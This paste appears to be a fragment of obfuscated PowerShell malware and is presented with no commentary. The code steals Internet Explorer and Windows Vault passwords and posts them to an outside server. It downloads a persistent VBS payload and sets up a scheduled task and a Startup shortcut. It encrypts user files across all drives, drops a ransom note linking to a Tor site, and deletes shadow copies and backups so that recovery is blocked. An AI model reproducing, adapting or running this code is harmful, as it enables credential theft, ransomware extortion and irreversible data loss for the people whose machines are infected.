  741.     if((@($hist.Items()).Count) -le 0) { $ieInfo = "NO HISTORY"; }
  742.     $hist.Items() | foreach {
  743.       if ($_.IsFolder) {
  744.         $siteFolder = $_.GetFolder
  745.         $siteFolder.Items() | foreach {
  746.           $site = $_;
  747.           if ($site.IsFolder) {
  748.             $pageFolder  = $site.GetFolder;
  749.             $pageFolder.Items() | foreach {
  750.               $url = $($pageFolder.GetDetailsOf($_,0)) ;
  751.               $enc = [system.Text.Encoding]::UTF8;
  752.               $entropy= $enc.GetBytes($url);
  753.               $url16 = [System.Text.Encoding]::GetEncoding("UTF-16").GetBytes($url + "`0");
  754.               $sha1 = [System.Security.Cryptography.SHA1]::Create();
  755.               $hash = $sha1.ComputeHash($url16);
  756.               $hs = "" ; $cs = 0
  757.               $urlHASH = $($hash | %{ $hs += $_.ToString("x2") ; $cs += $_ }
  758.               ($hs + ($cs % 256).ToString("x2")).ToUpper())
  759.               $fromREG = $null;
  760.               $fromREG = $(Get-ItemProperty -PATH "HKCU:\Software\Microsoft\Internet Explorer\IntelliForms\Storage2" -Name $urlHASH -ErrorAction SilentlyContinue | Select-Object -ExpandProperty $urlHASH)    
  761.               if($fromREG -ne $null) {                                    
  762.                 try{ $Decrypt = [System.Security.Cryptography.ProtectedData]::Unprotect($fromREG, $url16, [System.Security.Cryptography.DataProtectionScope]::LocalMachine); }catch { Continue }
  763.                 $dwSize = [bitconverter]::ToInt32($Decrypt[0..3], 0)
  764.                 $dwSecretInfoSize = [bitconverter]::ToInt32($Decrypt[4..7], 0)
  765.                 $dwSecretSize = [bitconverter]::ToInt32($Decrypt[8..11], 0)
  766.                 $dwTotalSecrets = [bitconverter]::ToInt32($Decrypt[20..23], 0) / 2
  767.                 if($fromREG.Length -ge ($dwSize + $dwSecretInfoSize +$dwSercertSize)){
  768.                   $url = ([System.Uri]$url).Host    
  769.                   if($ieInfo[$url] -eq $null) { $ieInfo[$url] = @(); }
  770.                   $allCreds = ([System.Text.Encoding]::Default.GetString($Decrypt[($Decrypt.Length - $dwSecretSize)..($Decrypt.Length)]) -split "\x00\x00") -replace "\x00", "";
  771.                   for($i = 0; $i -lt $dwTotalSecrets; $i++ ) {
  772.                     $user = $allCreds[$i]
  773.                     $pwd = $allCreds[$i + 1]
  774.                     $ieInfo[$url] += @{ [string]$user = [string]$pwd };
  775.                   }                                            
  776.                 }
  777.               }
  778.             }
  779.           }
  780.         }
  781.       }
  782.     }
  783.      
  784.     if(([int32]([string][System.Environment]::OSVersion.Version.Major + [string][System.Environment]::OSVersion.Version.Minor)) -ge 62) {
  785.       [void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];
  786.       $vault = New-Object Windows.Security.Credentials.PasswordVault;
  787.       $allCreds = $vault.RetrieveAll() | % { $_.RetrievePassword();$_ }
  788.       foreach($cred in $allCreds) {
  789.         $url = ([System.Uri]$cred.Resource).Host
  790.         if($ieInfo[$url] -eq $null) { $ieInfo[$url] = @(); }
  791.         $ieInfo[$url] += @{ [string]$cred.UserName = [string]$cred.Password }
  792.       }
  793.     }
  794.  
  795.   return @{"logs" = "$global:log"; "error" = $ieError; "info" = $ieInfo}    
  796.   }catch{
  797.     hcxcdjsy "crederror=ERR:ie_dump: $($_.Exception.Message)";
  798.   }
  799. }
  800.  
  801. $ffInfo = ""
  802. $ieInfo = ""
  803. $olInfo = ""
  804. $chromeInfo = ""
  805.  
  806. $allInfo = @{"logs" = "$global:log"; "error" = "SUCCESS"; "info" = @{}}    
  807.  
  808. mergeInfo $olInfo $allInfo
  809. mergeInfo $chromeInfo $allInfo
  810. mergeInfo $ieInfo $allInfo
  811. mergeInfo $ffInfo $allInfo
  812.  
  813. Add-Type -AssemblyName System.Web.Extensions;
  814. $ps_js = new-object system.web.script.serialization.javascriptSerializer;
  815.  
  816.   try{
  817.     $sendInfo = @{};
  818.     $allInfo["info"].GetEnumerator() | %{
  819.       $host1 = ([string]$_.key).toLower();
  820.       if( $host1 -ne "empty" ){
  821.         $sendInfo[ $host1 ] = @();
  822.         foreach($value in $_.value ) {
  823.           $sendInfo[ $host1 ] += @{ [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( [string]($value.Keys) ) ) = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( [string]($value.Values) ) ) };
  824.         }
  825.       }
  826.     }
  827.     try{ hcxcdjsy ("cred=" +  [uri]::EscapeDataString( $ps_js.Serialize($sendInfo) ) ); }catch{}
  828.     try{ hcxcdjsy ("crederror=" + $allInfo["error"]); }catch{}
  829.   }catch{}
  830. }
  831.  
  832. function izdheicaz(){
  833.   try{
  834.     $mPaths = @("$env:SystemDrive\Program Files\Mozilla Firefox", "$env:SystemDrive\Program Files\Mozilla Thunderbird", "$env:SystemDrive\Program Files (x86)\Mozilla Firefox", "$env:SystemDrive\Program Files (x86)\Mozilla Thunderbird")    
  835.     $mozillaPath = $null
  836.     foreach($path in $mPaths) {
  837.       $nssPath = $(Join-Path ([string]$path) ([string]'nss3.dll'))
  838.       if([System.IO.File]::Exists($nssPath)) {
  839.         $mozillaPath = $path;
  840.         break;
  841.       }
  842.     }
  843.     if($mozillaPath -eq $null) {
  844.       $result = $stillerBlock.Invoke();
  845.     }else{
  846.       $dll = $(Join-Path ([string]$mozillaPath) ([string]'nss3.dll'))
  847.       $is86dll = (Get-ExecutableType -Path $dll) -eq 32
  848.       $is86 = [IntPtr]::Size -eq 4
  849.       $result = $null;
  850.       if($is86dll -and $is86) {
  851.         $result = $stillerBlock.Invoke();
  852.       }elseif(-Not($is86dll) -and -Not($is86)) {
  853.         $result = $stillerBlock.Invoke();
  854.       }elseif($is86dll -and -Not($is86)) {
  855.         Start-Job -RunAs32 -ScriptBlock $stillerBlock | Out-Null
  856.         $result = (Get-Job | Wait-Job | Receive-Job)
  857.       }elseif(-Not($is86dll) -and $is86) {
  858.         $result = $stillerBlock.Invoke();
  859.       }          
  860.     }
  861.     return $result;
  862.   }catch{
  863.     hcxcdjsy "crederror=ERR:chooseArch: $($_.Exception.Message)";
  864.   }
  865. }
  866. 'hcxcdjsy "crederror=start chooseArch";
  867.  
  868. izdheicaz
  869. '
  870.  
  871. function ubdfwix(){
  872.   $hbwxxfy = $env:PUBLIC + "\Libraries"
  873.   if (-not (Test-Path $hbwxxfy)) { md $hbwxxfy; }
  874.   $ceuzebhjfs = $hbwxxfy + "\WindowsIndexingService.vbs";
  875.   $wtfajijg = New-Object System.Net.WebClient;
  876.   $wtfajijg.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
  877.   try{
  878.     $vwtwhsi = Join-Path $hbwxxfy ( get-random -minimum 100 -maximum 999999 ) ;
  879.     $wtfajijg.DownloadString("http://vodo.vodootherapy.com/?need=aegzfej&vid=ln2&") | out-file $vwtwhsi;
  880.     Start-Sleep -s 5;
  881.     if( ( test-path -path $vwtwhsi ) -and ( ( (Get-Item $vwtwhsi).length/1KB) -gt 5 ) ){
  882.       Move-Item $vwtwhsi -destination $ceuzebhjfs -Force;
  883.       $iwjbsdawyc = (schtasks.exe /create /TN "WindowsApplicationService" /sc DAILY /st 00:00 /f /RI 12 /du 23:59 /TR $ceuzebhjfs);
  884.       try{
  885.         $dtzavisig = [Environment]::GetFolderPath('Startup') + '\WindowsApplicationService.lnk';
  886.         if( -not ( Test-Path $dtzavisig ) ){
  887.           $tbguxxzu = New-Object -ComObject ('WScript.Shell');
  888.           $whfwxawa = $tbguxxzu.CreateShortcut( $dtzavisig  );
  889.           $whfwxawa.TargetPath = $ceuzebhjfs;
  890.           $whfwxawa.WorkingDirectory = $hbwxxfy;
  891.           $whfwxawa.WindowStyle = 1;
  892.           $whfwxawa.Description = 'Windows Application Service';
  893.           $whfwxawa.Save();
  894.         }
  895.       }catch{};
  896.     }
  897.   }catch{}
  898. };
  899. function zwhujicxeu( $tuvgatgfj ){
  900.   $wtfajijg = New-Object System.Net.WebClient;
  901.   $wtfajijg.Credentials = [System.Net.CredentialCache]::DefaultCredentials;
  902.   $wtfajijg.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
  903.   $wtfajijg.Encoding = [System.Text.Encoding]::UTF8;
  904.   try{
  905.     $euccazfiyi = $wtfajijg.UploadString( "http://grat.thegratitudelistproject.com/", ("ver=1018.1&vid=ln2&" + $tuvgatgfj) );
  906.     if( $euccazfiyi -eq "ok" ){ return $true; }
  907.   }catch{};
  908.   return $false;
  909. };
  910. function cuftfxih( $idacjzu ){
  911.   try { Start-Process -WindowStyle Hidden -FilePath "$env:comspec" -ArgumentList "/c $idacjzu" ; }catch{}
  912. };
  913. function ihucjja($tteccsetye, $vyuscgjgwy, $dxzseiwd, $uiiubsw ){
  914.   $zyajievu = new-Object System.Security.Cryptography.RijndaelManaged;  
  915.   $yszaffzv = [Text.Encoding]::UTF8.GetBytes($vyuscgjgwy);
  916.   $dxzseiwd = [Text.Encoding]::UTF8.GetBytes($dxzseiwd);
  917.   $zyajievu.Key = (new-Object Security.Cryptography.PasswordDeriveBytes $yszaffzv, $dxzseiwd, "SHA1", 5).GetBytes(32);
  918.   $zyajievu.IV = (new-Object Security.Cryptography.SHA1Managed).ComputeHash( [Text.Encoding]::UTF8.GetBytes($uiiubsw) )[0..15];
  919.   $zyajievu.Padding="Zeros";
  920.   $zyajievu.Mode="CBC";
  921.   $sxtyxfwea = $zyajievu.CreateEncryptor();
  922.   $avjgdgfceb = new-Object IO.MemoryStream;
  923.   $aeiyjhgc = new-Object Security.Cryptography.CryptoStream $avjgdgfceb,$sxtyxfwea,"Write";
  924.   $aeiyjhgc.Write($tteccsetye, 0,$tteccsetye.Length);
  925.   $aeiyjhgc.Close();
  926.   $avjgdgfceb.Close();
  927.   $zyajievu.Clear();
  928.   return $avjgdgfceb.ToArray();
  929. }
  930. function yuhchhfjg{
  931.   [Reflection.Assembly]::LoadWithPartialName('System.Security');
  932.   '$hbwxxfy = $env:PUBLIC + "\OracleKit";
  933.  if (-not (Test-Path $hbwxxfy)) { md $hbwxxfy; }
  934.  $aaftsiixd = $env:temp + "\quanto00.tmp";
  935.  if ( Test-Path $aaftsiixd ){
  936.    if ( ( ( NEW-TIMESPAN -Start ((Get-ChildItem $aaftsiixd ).CreationTime) -End (Get-Date)).Minutes ) -gt 30 ){
  937.      sc -Path $aaftsiixd -Value $(Get-Date);
  938.    }else{
  939.      exit;
  940.    };
  941.  };
  942.  $iscszcjgi = $hbwxxfy + "\w00log03.tmp";
  943.  if ( Test-Path $iscszcjgi ){
  944.    $ugabfyx = [string](get-content $iscszcjgi);
  945.    if( $ugabfyx.length -ne 36 ){
  946.      $ugabfyx=[string][guid]::NewGuid();
  947.      sc -Path $iscszcjgi -Value $ugabfyx -Force;
  948.    }
  949.  }else{
  950.    $ugabfyx=[string][guid]::NewGuid();
  951.    sc -Path $iscszcjgi -Value $ugabfyx -Force;
  952.  }
  953.  gi $iscszcjgi -Force |  %{ $_.Attributes = "Hidden" };
  954.  $igyusbdhef = ([string][guid]::NewGuid()).Substring(0,6);'
  955.   $jiacsfz = (get-random -count 50 -input (48..57 + 65..90 + 97..122) | foreach-object -begin { $pass = $null } -process {$pass += [char]$_} -end {$pass});
  956.  
  957.   $dxzseiwd="BXCODE hack your system";
  958.   $uiiubsw="BXCODE INIT";
  959.   $all = $jiacsfz + ";" + $dxzseiwd  + ";" + $uiiubsw;
  960.   [byte[]]$tbvthbevvg = [system.Text.Encoding]::Unicode.GetBytes( $jiacsfz );
  961.   [byte[]]$xaadidji = [system.Text.Encoding]::Unicode.GetBytes( $dxzseiwd  + ";" + $uiiubsw );
  962.   $uchzbjuz = New-Object System.Security.Cryptography.RSACryptoServiceProvider(1024);
  963.   $uchzbjuz.ImportCspBlob( [system.Convert]::FromBase64String( 'BgIAAACkAABSU0ExAAQAAAEAAQD11Onrt4plHuT75QS2+sC7J05SPYBQkrmT6FbgHLdw7GyJeZzO8yJRiXXIaHy5FGa9XviwqfBowCs7r6zmvHjfjFbN4YjeRIWsSU5JoEcl8j/H1KZJ7VQfqgSo+u0HfDB8nVcWgPOlaNA4VF+PU2p9x8pwa5xb7bR6grkRLG7Unw==' ) );
  964.   $awutcvu = [system.Convert]::ToBase64String( $uchzbjuz.Encrypt($tbvthbevvg , $false) );
  965.   $eexcctzv = [system.Convert]::ToBase64String( $uchzbjuz.Encrypt($xaadidji , $false) );
  966.  
  967.   '$udteguud = zwhujicxeu ("guid=$ugabfyx&ext=$igyusbdhef&ek=$jiacsfz&r1=" + ( [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes( ( $awutcvu +";" + $eexcctzv ) ) ) ) +"&");
  968.  
  969.  if( $udteguud ){
  970.    sc -Path $aaftsiixd -Value $(Get-Date);
  971.  }else{
  972.    ri -Path $aaftsiixd -Force;
  973.    exit;
  974.  }
  975.  '
  976.   $ugabfyx = "d6fcb97c-6676-4abe-9bb2-e6b9937f2e5f"
  977.   $zbwcsagveh = 'PGgxPkFsbCB5b3VyIGZpbGVzIHdhcyBlbmNyeXB0ZWQhPC9oMT4NCiAgPGgyICBzdHlsZT0nY29sb3I6cmVkJz48Yj5ZZXMsIFlvdSBjYW4gRGVjcnlwdCBGaWxlcyBFbmNyeXB0ZWQhISE8L2I+PC9oMj4NCiAgPHA+WW91ciBwZXJzb25hbCBJRDogPGI+JWd1aWQlPC9iPjwvcD4NCiAgPHA+MS4gRG93bmxvYWQgVG9yIGJyb3dzZXIgLSA8YSBocmVmPSdodHRwczovL3d3dy50b3Jwcm9qZWN0Lm9yZy9kb3dubG9hZC8nPmh0dHBzOi8vd3d3LnRvcnByb2plY3Qub3JnL2Rvd25sb2FkLzwvYT48L3A+DQogIDxwPjIuIEluc3RhbGwgVG9yIGJyb3dzZXI8L3A+DQogIDxwPjMuIE9wZW4gVG9yIEJyb3dzZXI8L3A+DQogIDxwPjQuIE9wZW4gbGluayBpbiBUT1IgYnJvd3NlcjogIDxiPmh0dHA6Ly9xdm81c2Q3cDV5YXp3YnJnaW9reTdyZHU0dnNseHJjYWVydWhqcjd6dG4zdDJwaWhwNTZld2xxZC5vbmlvbi8/Z3VpZD0lZ3VpZCU8L2I+PC9wPg0KICA8cD41LiBGb2xsb3cgdGhlIGluc3RydWN0aW9ucyBvbiB0aGlzIHBhZ2U8L3A+DQogIDxoMj4qKioqKiBXYXJuaW5nKioqKio8L2gyPg0KICA8cD5EbyBub3QgcmVuYW1lIGZpbGVzPC9wPg0KICA8cD5EbyBub3QgdHJ5IHRvIGJhY2sgeW91ciBkYXRhIHVzaW5nIHRoaXJkLXBhcnR5IHNvZnR3YXJlLCBpdCBtYXkgY2F1c2UgcGVybWFuZW50IGRhdGEgbG9zcyhJZiB5b3UgZG8gbm90IGJlbGlldmUgdXMsIGFuZCBzdGlsbCB0cnkgdG8gLSBtYWtlIGNvcGllcyBvZiBhbGwgZmlsZXMgc28gdGhhdCB3ZSBjYW4gaGVscCB5b3UgaWYgdGhpcmQtcGFydHkgcw0Kb2Z0d2FyZSBoYXJtcyB0aGVtKTwvcD4NCiAgPHA+QXMgZXZpZGVuY2UsIHdlIGNhbiBmb3IgZnJlZSBiYWNrIG9uZSBmaWxlPC9wPg0KICA8cD5EZWNvZGVycyBvZiBvdGhlciB1c2VycyBpcyBub3Qgc3VpdGFibGUgdG8gYmFjayB5b3VyIGZpbGVzIC0gZW5jcnlwdGlvbiBrZXkgaXMgY3JlYXRlZCBvbiB5b3VyIGNvbXB1dGVyIHdoZW4gdGhlIHByb2dyYW0gaXMgbGF1bmNoZWQgLSBpdCBpcyB1bmlxdWUuPC9wPg0KICA=';
  978.   $zbwcsagveh = ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String( $zbwcsagveh ) ) -replace "%guid%", $ugabfyx );
  979.   $iiyghcgj = 0;
  980.   zwhujicxeu ("guid=$ugabfyx&status=start" );
  981.   $fifbfsdg = "windows|temp|Recycle|intel|OEM|Program Files|ProgramData";
  982.   $wjtsjhwx = Get-PSDrive|Where-Object {$_.Free -gt 50000}|Sort-Object -Descending;
  983.   foreach($tzufvxb in $wjtsjhwx){
  984.     try {
  985.       gci $tzufvxb.root -Recurse -Include "*.sql","*.mp4","*.7z","*.rar","*.m4a","*.wma","*.avi","*.wmv","*.csv","*.d3dbsp","*.zip","*.sie","*.sum","*.ibank","*.t13","*.t12","*.qdf","*.gdb","*.tax","*.pkpass","*.bc6","*.bc7","*.bkp","*.qic","*.bkf","*.sidn","*.sidd","*.mddata","*.itl","*.itdb","*.icxs","*.hvpl","*.hplg","*.hkdb","*.mdbackup","*.syncdb","*.gho","*.cas","*.svg","*.map","*.wmo","*.itm","*.sb","*.fos","*.mov","*.vdf","*.ztmp","*.sis","*.sid","*.ncf","*.menu","*.layout","*.dmp","*.blob","*.esm","*.vcf","*.vtf","*.dazip","*.fpk","*.mlx","*.kf","*.iwd","*.vpk","*.tor","*.psk","*.rim","*.w3x","*.fsh","*.ntl","*.arch00","*.lvl","*.snx","*.cfr","*.ff","*.vpp_pc","*.lrf","*.m2","*.mcmeta","*.vfs0","*.mpqge","*.kdb","*.db0","*.dba","*.rofl","*.hkx","*.bar","*.upk","*.das","*.iwi","*.litemod","*.asset","*.forge","*.ltx","*.bsa","*.apk","*.re4","*.sav","*.lbf","*.slm","*.bik","*.epk","*.rgss3a","*.pak","*.big","*wallet","*.wotreplay","*.xxx","*.desc","*.py","*.m3u","*.flv","*.js","*.css","*.rb","*.png","*.jpeg","*.txt","*.p7c","*.p7b","*.p12","*.pfx","*.pem","*.crt","*.cer","*.der","*.x3f","*.srw","*.pef","*.ptx","*.r3d","*.rw2","*.rwl","*.raw","*.raf","*.orf","*.nrw","*.mrwref","*.mef","*.erf","*.kdc","*.dcr","*.cr2","*.crw","*.bay","*.sr2","*.srf","*.arw","*.3fr","*.dng","*.jpe","*.jpg","*.cdr","*.indd","*.ai","*.eps","*.pdf","*.pdd","*.psd","*.dbf","*.mdf","*.wb2","*.rtf","*.wpd","*.dxg","*.xf","*.dwg","*.pst","*.accdb","*.mdb","*.pptm","*.pptx","*.ppt","*.xlk","*.xlsb","*.xlsm","*.xlsx","*.xls","*.wps","*.docm","*.docx","*.doc","*.odb","*.odc","*.odm","*.odp","*.ods","*.odt" -ErrorAction SilentlyContinue | %{
  986.         try {
  987.           if( $_.length -ne 0 ){
  988.             $sdaivgecab=[io.file]::Open($_, 'Open', 'ReadWrite');
  989.             if ($sdaivgecab.Length -lt "40960"){
  990.               $yvatxjiw=$sdaivgecab.Length
  991.             }else{
  992.               $yvatxjiw="40960"
  993.             }
  994.             [byte[]]$cgujiaus = new-object byte[] $yvatxjiw;
  995.             $dzyfgidcg = $sdaivgecab.Read($cgujiaus, 0, $cgujiaus.Length);
  996.             $sdaivgecab.Position='0';
  997.             $jwczzzcsw = ihucjja $cgujiaus $jiacsfz $dxzseiwd $uiiubsw ;
  998.             $sdaivgecab.Write($jwczzzcsw, 0, $jwczzzcsw.Length);
  999.             $sdaivgecab.Close();
  1000.             $zjfyibuxbg = $_.Name+".$igyusbdhef";
  1001.             try{ ren -Path $($_.FullName) -NewName $zjfyibuxbg -Force; }catch{}
  1002.             $uyjttxawib = $($_.DirectoryName  + "\READ_ME_NOW.htm") ;
  1003.             if(!(Test-Path $uyjttxawib)){
  1004.               try{ sc -Path $uyjttxawib -Value $zbwcsagveh -Force; }catch{}
  1005.               try{ sc -Path $aaftsiixd -Value $(Get-Date) -Force; }catch{}
  1006.             }
  1007.             $iiyghcgj++;
  1008.           }
  1009.         }catch{}
  1010.       }
  1011.     }catch{}
  1012.   }
  1013.   'zwhujicxeu ("guid=$ugabfyx&status=done&res=" + $iiyghcgj );'
  1014.   cuftfxih('bcdedit /set vihyxsgvsc bootstatuspolicy ignoreallfailures');
  1015.   cuftfxih('bcdedit /set vihyxsgvsc recoveryenabled no');
  1016.   cuftfxih('wbadmin delete catalog -quiet');
  1017.   cuftfxih('wbadmin delete systemstatebackup');
  1018.   cuftfxih('wbadmin delete backup');
  1019.   cuftfxih('vssadmin delete shadows /all /quiet');
  1020. }
  1021. ubdfwix;
  1022. yuhchhfjg;
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!